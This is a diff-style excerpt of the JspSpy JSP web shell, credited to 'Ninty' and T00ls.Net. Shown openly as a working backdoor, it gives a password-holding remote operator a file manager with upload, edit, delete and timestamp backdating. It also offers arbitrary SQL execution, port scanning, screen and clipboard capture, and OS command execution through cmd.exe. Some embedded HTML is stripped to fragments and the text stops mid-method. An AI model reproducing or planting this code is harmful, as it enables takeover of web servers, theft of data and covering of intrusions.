+return null;
+return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
+} catch (Exception e) {
+return null;
+}
+}
+}
+private static class DBOperator{
+private Connection conn = null;
+private Statement stmt = null;
+private String driver;
+private String url;
+private String uid;
+private String pwd;
+public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
+this(driver,url,uid,pwd,false);
+}
+public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
+Class.forName(driver);
+if (connect)
+this.conn = DriverManager.getConnection(url,uid,pwd);
+this.url = url;
+this.driver = driver;
+this.uid = uid;
+this.pwd = pwd;
+}
+public void connect() throws Exception{
+this.conn = DriverManager.getConnection(url,uid,pwd);
+}
+public Object execute(String sql) throws Exception {
+if (isValid()) {
+stmt = conn.createStatement();
+if (stmt.execute(sql)) {
+return stmt.getResultSet();
+} else {
+return stmt.getUpdateCount();
+}
+}
+throw new Exception("Connection is inValid.");
+}
+public void closeStmt() throws Exception{
+if (this.stmt != null)
+stmt.close();
+}
+public boolean isValid() throws Exception {
+return conn != null && !conn.isClosed();
+}
+public void close() throws Exception {
+if (isValid()) {
+closeStmt();
+conn.close();
+}
+}
+public boolean equals(Object o) {
+if (o instanceof DBOperator) {
+DBOperator dbo = (DBOperator)o;
+return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
+}
+return false;
+}
+}
+private static class StreamConnector extends Thread {
+private InputStream is;
+private OutputStream os;  
+public StreamConnector( InputStream is, OutputStream os ){
+this.is = is;
+this.os = os;
+}			  
+public void run(){
+BufferedReader in  = null;
+BufferedWriter out = null;
+try{
+in  = new BufferedReader( new InputStreamReader(this.is));
+out = new BufferedWriter( new OutputStreamWriter(this.os));
+char buffer[] = new char[8192];
+int length;
+while((length = in.read( buffer, 0, buffer.length ))>0){
+out.write( buffer, 0, length );
+out.flush();
+}
+} catch(Exception e){}
+try{
+if(in != null)
+in.close();
+if(out != null)
+out.close();
+} catch( Exception e ){}
+}
+}
+private static class OnLineProcess {
+private String cmd = "first";
+private Process pro;
+public OnLineProcess(Process p){
+this.pro = p;
+}
+public void setPro(Process p) {
+this.pro = p;
+}
+public void setCmd(String c){
+this.cmd = c;
+}
+public String getCmd(){
+return this.cmd;
+}
+public Process getPro(){
+return this.pro;
+}
+public void stop(){
+this.pro.destroy();
+}
+}
+private static class OnLineConnector extends Thread {
+private OnLineProcess ol = null;
+private InputStream is;
+private OutputStream os;
+private String name;
+public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
+this.is = is;
+this.os = os;
+this.name = name;
+this.ol = ol;
+}
+public void run(){
+BufferedReader in  = null;
+BufferedWriter out = null;
+try{
+in  = new BufferedReader( new InputStreamReader(this.is));
+out = new BufferedWriter( new OutputStreamWriter(this.os));
+char buffer[] = new char[128];
+if(this.name.equals("exeRclientO")) {
+//from exe to client
+int length = 0;
+while((length = in.read( buffer, 0, buffer.length ))>0){
+String str = new String(buffer, 0, length);
+str = str.replace("&","&").replace("<","<").replace(">",">");
+str = str.replace(""+(char)13+(char)10,"
        ");
+str = str.replace("\n","
        ");
+out.write(str.toCharArray(), 0, str.length());
+out.flush();
+}
+} else {
+//from client to exe
+while(true) {
+while(this.ol.getCmd() == null) {
+Thread.sleep(500);
+}
+if (this.ol.getCmd().equals("first")) {
+this.ol.setCmd(null);
+continue;
+}
+this.ol.setCmd(this.ol.getCmd() + (char)10);
+char[] arr = this.ol.getCmd().toCharArray();
+out.write(arr,0,arr.length);
+out.flush();
+this.ol.setCmd(null);
+}
+}
+} catch(Exception e){
+}
+try{
+if(in != null)
+in.close();
+if(out != null)
+out.close();
+} catch( Exception e ){
+}
+}
+}
+private static class Table{
+private ArrayList rows = null;
+private boolean echoTableTag = false;
+public void setEchoTableTag(boolean v) {
+this.echoTableTag = v;
+}
+public Table(){
+this.rows = new ArrayList();
+}
+public void addRow(Row r) {
+this.rows.add(r);
+}
+public String toString(){
+StringBuilder html = new StringBuilder();
+if (echoTableTag)
+html.append("");
+for (Row r:rows) {
+html.append("");
+for (Column c:r.getColumns()) {
+html.append("");
+}
+html.append("");
+}
+if (echoTableTag)
+html.append("
        ");
+String vv = Util.htmlEncode(Util.getStr(c.getValue()));
+if (vv.equals(""))
+vv = " ";
+html.append(vv);
+html.append("
        ");
+return html.toString();
+}
+}
+private static class Row{
+private ArrayList cols = null;
+public Row(){
+this.cols = new ArrayList();
+}
+public void addColumn(Column n) {
+this.cols.add(n);
+}
+public ArrayList getColumns(){
+return this.cols;
+}
+}
+private static class Column{
+private String value;
+public Column(String v){
+this.value = v;
+}
+public String getValue(){
+return this.value;
+}
+}
+private static class Util{
+public static boolean isEmpty(String s) {
+return s == null || s.trim().equals("");
+}
+public static boolean isEmpty(Object o) {
+return o == null || isEmpty(o.toString());
+}
+public static String getSize(long size,char danwei) {
+if (danwei == 'M') {
+double v =  formatNumber(size / 1024.0 / 1024.0,2);
+if (v > 1024) {
+return getSize(size,'G');
+}else {
+return v + "M";
+}
+} else if (danwei == 'G') {
+return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
+} else if (danwei == 'K') {
+double v = formatNumber(size / 1024.0,2);
+if (v > 1024) {
+return getSize(size,'M');
+} else {
+return v + "K";
+}
+} else if (danwei == 'B') {
+if (size > 1024) {
+return getSize(size,'K');
+}else {
+return size + "B";
+}
+}
+return ""+0+danwei;
+}
+public static double formatNumber(double value,int l) {
+NumberFormat format = NumberFormat.getInstance();
+format.setMaximumFractionDigits(l);
+format.setGroupingUsed(false);
+return new Double(format.format(value));
+}
+public static boolean isInteger(String v) {
+if (isEmpty(v))
+return false;
+return v.matches("^\\d+$");
+}
+public static String formatDate(long time) {
+SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
+return format.format(new java.util.Date(time));
+}
+public static String convertPath(String path) {
+return path != null ? path.replace("\\","/") : "";
+}
+public static String htmlEncode(String v) {
+if (isEmpty(v))
+return "";
+return v.replace("&","&").replace("<","<").replace(">",">");
+}
+public static String getStr(String s) {
+return s == null ? "" :s;
+}
+public static String getStr(Object s) {
+return s == null ? "" :s.toString();
+}
+public static String exec(String regex, String str, int group) {
+Pattern pat = Pattern.compile(regex);
+Matcher m = pat.matcher(str);
+if (m.find())
+return m.group(group);
+return null;
+}
+public static void outMsg(Writer out,String msg) throws Exception {
+outMsg(out,msg,"center");
+}
+public static void outMsg(Writer out,String msg,String align) throws Exception {
+if (msg.indexOf("java.lang.ClassNotFoundException") != -1)
+msg = "Can Not Find The Driver!
        " + msg;
+out.write("
        "+msg+"
        ");
+}
+}
+private static class UploadBean {
+private String fileName = null;
+private String suffix = null;
+private String savePath = "";
+private ServletInputStream sis = null;
+private byte[] b = new byte[1024];
+public UploadBean() {
+}
+public void setSavePath(String path) {
+this.savePath = path;
+}
+public void parseRequest(HttpServletRequest request) throws IOException {
+sis = request.getInputStream();
+int a = 0;
+int k = 0;
+String s = "";
+while ((a = sis.readLine(b,0,b.length))!= -1) {
+s = new String(b, 0, a,PAGE_CHARSET);
+if ((k = s.indexOf("filename=\""))!= -1) {
+s = s.substring(k + 10);
+k = s.indexOf("\"");
+s = s.substring(0, k);
+File tF = new File(s);
+if (tF.isAbsolute()) {
+fileName = tF.getName();
+} else {
+fileName = s;
+}
+k = s.lastIndexOf(".");
+suffix = s.substring(k + 1);
+upload();
+}
+}
+}
+private void upload() {
+try {
+FileOutputStream out = new FileOutputStream(new File(savePath,fileName));
+int a = 0;
+int k = 0;
+String s = "";
+while ((a = sis.readLine(b,0,b.length))!=-1) {
+s = new String(b, 0, a);
+if ((k = s.indexOf("Content-Type:"))!=-1) {
+break;
+}
+}
+sis.readLine(b,0,b.length);
+while ((a = sis.readLine(b,0,b.length)) != -1) {
+s = new String(b, 0, a);
+if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
+break;
+}
+out.write(b, 0, a);
+}
+out.close();
+} catch (IOException ioe) {
+ioe.printStackTrace();
+}
+}
+}
+%>
+<%
+SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
+String myAbsolutePath = application.getRealPath(request.getServletPath());
+if (Util.isEmpty(myAbsolutePath)) {//for weblogic
+SHELL_NAME = request.getServletPath();
+myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
+SHELL_NAME=request.getContextPath()+SHELL_NAME;
+WEB_ROOT = new File(application.getResource("/").getPath()).toString();
+} else {
+WEB_ROOT = application.getRealPath("/");
+}
+SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
+if (session.getAttribute(CURRENT_DIR) == null)
+session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
+request = new MyRequest(request);
+if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
+String o = request.getParameter("o");
+if (o != null &&  o.equals("login")) {
+ins.get("login").invoke(request,response,session);
+return;
+} else if (o != null && o.equals("vLogin")) {
+ins.get("vLogin").invoke(request,response,session);
+return;
+} else {
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+return;
+}
+}
+%>
+<%!
+private static interface Invoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
+public boolean doBefore();
+public boolean doAfter();
+}
+private static class DefaultInvoker implements Invoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
+}
+public boolean doBefore(){
+return true;
+}
+public boolean doAfter() {
+return true;
+}
+}
+private static class ScriptInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");	
+
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BeforeInvoker extends  DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("JspSpy Codz By - Ninty");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class AfterInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DeleteBatchInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String files = request.getParameter("files");
+if (!Util.isEmpty(files)) {
+String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
+String[] arr = files.split(",");
+for (String fs:arr) {
+File f = new File(currentDir,fs);
+f.delete();
+}
+}
+JSession.setAttribute(MSG,"Delete Files Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class ClipBoardInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        "+
+"        
        System Clipboard »
        "+
+"
        ");
+try{
+out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
+}catch (Exception ex) {
+out.println("ClipBoard is Empty Or Is Not Text Data !");
+}
+out.println("
        "+
+"          "+
+"        
        "+
+"      
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VRemoteControlInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        "+
+"        
        Remote Control »
        "+
+"           Speed(Second , dont be so fast)    Can Not Control Yet."+
+"        
        "+
+"      
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//GetScreen
+private static class GcInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
+Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight());
+BufferedImage img = new Robot().createScreenCapture(rec);
+response.setContentType("image/jpeg");
+ImageIO.write(img,"jpg",response.getOutputStream());
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VPortScanInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String ip = request.getParameter("ip");
+String ports = request.getParameter("ports");
+String timeout = request.getParameter("timeout");
+if (Util.isEmpty(ip))
+ip = "127.0.0.1";
+if (Util.isEmpty(ports))
+ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
+if (Util.isEmpty(timeout)) 
+timeout = "2";
+out.println("
        "+
+"
        PortScan >>
        "+
+"
        "+
+"
        "+
+"IP :  Port :  Timeout 锛堢锛 :  "+
+"
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class PortScanInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+ins.get("vPortScan").invoke(request,response,JSession);
+String ip = request.getParameter("ip");
+String ports = request.getParameter("ports");
+String timeout = request.getParameter("timeout");
+int iTimeout = 0;
+if (Util.isEmpty(ip) || Util.isEmpty(ports))
+return;
+if (!Util.isInteger(timeout)) {
+timeout = "2";
+}
+iTimeout = Integer.parseInt(timeout);
+Map rs = new LinkedHashMap();
+String[] portArr = ports.split(",");
+for (String port:portArr) {
+try {
+Socket s = new Socket();
+s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
+s.close();
+rs.put(port,"Open");
+} catch (Exception e) {
+rs.put(port,"Close");
+}
+}
+out.println("
        ");
+Set> entrySet = rs.entrySet();
+for (Map.Entry e:entrySet) {
+String port = e.getKey();
+String value = e.getValue();
+out.println(ip+" : "+port+" ................................. "+value+"
        ");
+}
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VConnInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object obj = JSession.getAttribute(DBO);
+if (obj == null || !((DBOperator)obj).isValid()) {
+out.println("  ");
+out.println("
        "+
+"
        "+
+""+
+"
        DataBase Manager »
        "+
+""+
+"
        "+
+"Driver:"+
+"  "+
+"URL:"+
+""+
+"UID:"+
+""+
+"PWD:"+
+""+
+"DataBase:"+
+" "+
+""+
+"
        "+
+"
        ");
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//DBConnect
+private static class DbcInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String driver = request.getParameter("driver");
+String url = request.getParameter("url");
+String uid = request.getParameter("uid");
+String pwd = request.getParameter("pwd");
+String sql = request.getParameter("sql");
+String selectDb = request.getParameter("selectDb");
+if (selectDb == null)
+selectDb = JSession.getAttribute("selectDb").toString();
+else
+JSession.setAttribute("selectDb",selectDb);
+Object dbo = JSession.getAttribute(DBO);
+if (dbo == null || !((DBOperator)dbo).isValid()) {
+if (dbo != null)
+((DBOperator)dbo).close();
+dbo = new DBOperator(driver,url,uid,pwd,true);
+} else {
+if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
+DBOperator oldDbo = (DBOperator)dbo;
+dbo = new DBOperator(driver,url,uid,pwd);
+if (!oldDbo.equals(dbo)) {
+((DBOperator)oldDbo).close();
+((DBOperator)dbo).connect();
+} else {
+dbo = oldDbo;
+}
+}
+} 
+DBOperator Ddbo = (DBOperator)dbo;
+JSession.setAttribute(DBO,Ddbo);
+Util.outMsg(out,"Connect To DataBase Success!");
+out.println("  ");
+out.println("
        "+
+"
        "+
+""+
+"
        DataBase Manager »
        "+
+""+
+"
        "+
+"Driver:"+
+"  "+
+"URL:"+
+""+
+"UID:"+
+""+
+"PWD:"+
+""+
+"DataBase:"+
+" "+
+""+
+"
        "+
+"
        ");
+out.println("
        "+
+"
        Run SQL query/queries on database :
        ");	
+} catch (Exception e) {
+//e.printStackTrace();
+throw e;
+}
+}
+}
+private static class ExecuteSQLInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String sql = request.getParameter("sql");
+String db = request.getParameter("selectDb");
+Object dbo = JSession.getAttribute(DBO);
+if (!Util.isEmpty(sql)) {
+if (dbo == null || !((DBOperator)dbo).isValid()) {
+response.sendRedirect(SHELL_NAME+"?o=vConn");
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+Object obj = ((DBOperator)dbo).execute(sql);
+if (obj instanceof ResultSet) {
+ResultSet rs = (ResultSet)obj;
+ResultSetMetaData meta = rs.getMetaData();
+int colCount = meta.getColumnCount();
+out.println("
        Query#0 : "+Util.htmlEncode(sql)+"
        ");
+out.println("");
+for (int i=1;i<=colCount;i++) {
+out.println("");
+}
+out.println("");
+Table tb = new Table();
+while(rs.next()) {
+Row r = new Row();
+for (int i = 1;i<=colCount;i++) {
+r.addColumn(new Column(rs.getString(i)));
+}
+tb.addRow(r);
+}
+out.println(tb.toString());
+out.println("
        "+meta.getColumnName(i)+"
        "+meta.getColumnTypeName(i)+"
        ");
+rs.close();
+((DBOperator)dbo).closeStmt();
+} else {
+out.println("
        affected rows : "+obj+"
        ");
+}
+}
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VLoginInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("
        "+
+"	  
        Password: "+
+"        "+
+"        "+
+"        "+
+"        

        "+
+"	  "+
+"Copyright © 2009 NinTy www.Forjj.com
        "+
+"    
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class LoginInvoker extends DefaultInvoker{
+public boolean doBefore() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String inputPw = request.getParameter("pw");
+if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+return;
+} else {
+JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MyComparator implements Comparator{
+public int compare(File f1,File f2) {
+if (f1 != null && f2!= null) {
+if (f1.isDirectory()) {
+if (f2.isDirectory()) {
+return f1.getName().compareTo(f2.getName());
+} else {
+return -1;
+}
+} else { 
+if (f2.isDirectory()) {
+return 1;
+} else {
+return  f1.getName().compareTo(f2.getName());
+}
+}
+}
+return 0;
+}
+}
+private static class FileListInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("folder");
+if (Util.isEmpty(path))
+path = JSession.getAttribute(CURRENT_DIR).toString();
+JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
+File file = new File(path);
+if (!file.exists()) {
+throw new Exception(path+"Dont Exists !");
+}
+JSession.setAttribute(CURRENT_DIR,path);
+File[] list = file.listFiles();
+Arrays.sort(list,new MyComparator());
+out.println("
        ");
+String cr = null;
+try {
+cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
+}catch(Exception e) {
+cr = "/";
+}
+File currentRoot = new File(cr);
+out.println("
        File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total  (unknow) 
        ");
+out.println("
        "+
+""+
+"  "+
+"    "+
+"	"+
+"    "+
+"  "+
+"
        Current Directory  
        "+
+"
        ");
+out.println(""+
+""+
+""+
+""+
+"  "+
+"  "+
+"  "+
+"  "+
+"  "+
+"");
+if (file.getParent() != null) {
+out.println(""+
+""+
+""+
+"");	
+}
+int dircount = 0;
+int filecount = 0;
+for (File f:list) {
+if (f.isDirectory()) {
+dircount ++;
+out.println(""+
+""+
+""+
+""+
+""+
+""+
+""+
+"");
+} else {
+filecount++;
+out.println(""+
+""+
+""+
+""+
+""+
+""+
+""+
+"");
+}
+}
+out.println(""+
+"  "+
+"  "+
+"
        "+
+"
         
        "+
+"Web Root"+
+" | Shell Directory"+
+" | New Directory | New File"+
+" | ");
+File[] roots = file.listRoots();
+for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")");
+if (i != roots.length -1) {
+out.println("|");
+} 
+}
+out.println("
         NameLast ModifiedSizeRead/Write/Execute 
        =Goto Parent
        0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow Del | Move | Pack
        "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+
+""+f.canRead()+" / "+f.canWrite()+" / unknow "+
+"Edit | "+
+"Down | "+
+"Copy | "+
+"Move | "+
+"Property");
+if (f.getName().endsWith(".zip")) {
+out.println(" | UnPack");
+} else if (f.getName().endsWith(".rar")) {
+out.println(" | UnPack");
+} else {
+out.println(" | Pack");
+}
+out.println("
         Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
        ");
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+}
+private static class LogoutInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Object dbo = JSession.getAttribute(DBO);
+if (dbo != null)
+((DBOperator)dbo).close();
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket s = (ServerSocket)obj;
+s.close();
+}
+Object online = JSession.getAttribute(SHELL_ONLINE);
+if (online != null)
+((OnLineProcess)online).stop();
+JSession.invalidate();
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class UploadInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+UploadBean fileBean = new UploadBean();
+response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
+fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
+fileBean.parseRequest(request);
+JSession.setAttribute(MSG,"Upload File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class CopyInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String src = request.getParameter("src");
+String to = request.getParameter("to");
+BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src)));
+BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
+byte[] d = new byte[1024];
+int len = input.read(d);
+while(len != -1) {
+output.write(d,0,len);
+len = input.read(d);
+}
+output.close();
+input.close();
+JSession.setAttribute(MSG,"Copy File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BottomInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+response.getWriter().println("
        Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VCreateFileInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+File f = new File(path);
+if (!f.isAbsolute()) {
+String oldPath = path;
+path = JSession.getAttribute(CURRENT_DIR).toString();
+if (!path.endsWith("/"))
+path+="/";
+path+=oldPath;
+f = new File(path);
+f.createNewFile();
+} else {
+f.createNewFile();
+}
+out.println("
        "+
+"
        "+
+"
        Create / Edit File »
        "+
+""+
+"
        Current File (import new file name and new file)
        "+
+"
        File Content
        "+
+"
         
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VEditInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+File f = new File(path);
+if (f.exists()) {
+BufferedReader reader = new BufferedReader(new FileReader(f));
+StringBuilder content = new StringBuilder();
+String s = reader.readLine();
+while (s != null) {
+content.append(s+"\r\n");
+s = reader.readLine();
+}
+reader.close();
+out.println("
        "+
+"
        "+
+"
        Create / Edit File »
        "+
+""+
+"
        Current File (import new file name and new file)
        "+
+"
        File Content
        "+
+"
         
        "+
+"
        "+
+"
        ");
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class CreateFileInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+String content = request.getParameter("filecontent");
+
+BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path)));
+outs.write(content,0,content.length());
+outs.close();
+JSession.setAttribute(MSG,"Save File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VEditPropertyInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String filepath = request.getParameter("filepath");
+File f = new File(filepath);
+if (!f.exists())
+return;
+String read = f.canRead() ? "checked=\"checked\"" : "";
+String write = f.canWrite() ? "checked=\"checked\"" : "";
+String execute = "";
+Calendar cal = Calendar.getInstance();
+cal.setTimeInMillis(f.lastModified());
+out.println("
        "+
+"
        "+
+"
        Set File Property »
        "+
+"
        Current file (fullpath)
        "+
+" "+
+"
        Read: "+
+"   "+
+"  Write: "+
+"   "+
+"  Execute: "+
+"  "+
+"
        "+
+"
        Instead »"+
+"year:"+
+""+
+"month:"+
+""+
+"day:"+
+""+
+""+
+"hour:"+
+""+
+"minute:"+
+""+
+"second:"+
+""+
+"
        "+
+"
         
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class EditPropertyInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String f = request.getParameter("file");
+File file = new File(f);
+if (!file.exists())
+return;
+
+String year = request.getParameter("year");
+String month = request.getParameter("month");
+String date = request.getParameter("date");
+String hour = request.getParameter("hour");
+String minute = request.getParameter("minute");
+String second = request.getParameter("second");
+
+Calendar cal = Calendar.getInstance();
+cal.set(Calendar.YEAR,Integer.parseInt(year));
+cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
+cal.set(Calendar.DATE,Integer.parseInt(date));
+cal.set(Calendar.HOUR,Integer.parseInt(hour));
+cal.set(Calendar.MINUTE,Integer.parseInt(minute));
+cal.set(Calendar.SECOND,Integer.parseInt(second));
+if(file.setLastModified(cal.getTimeInMillis())){
+JSession.setAttribute(MSG,"Reset File Property Success!");
+} else {
+JSession.setAttribute(MSG,"Reset File Property Failed!");
+}
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VShell
+private static class VsInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String cmd = request.getParameter("command");
+String program = request.getParameter("program");
+if (cmd == null) cmd = "cmd.exe /c set";
+if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
+if (JSession.getAttribute(MSG)!=null) {
+Util.outMsg(out,JSession.getAttribute(MSG).toString());
+JSession.removeAttribute(MSG);
+}
+out.println(""+
+"
        "+
+"
        "+
+"
        Execute Program »
        "+
+"
        "+
+""+
+""+
+"Parameter
        "+
+""+
+"
        "+
+"
        "+
+"
        "+
+"
        Execute Shell »
        "+
+"
        "+
+""+
+""+
+"Parameter
        "+
+""+
+"
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
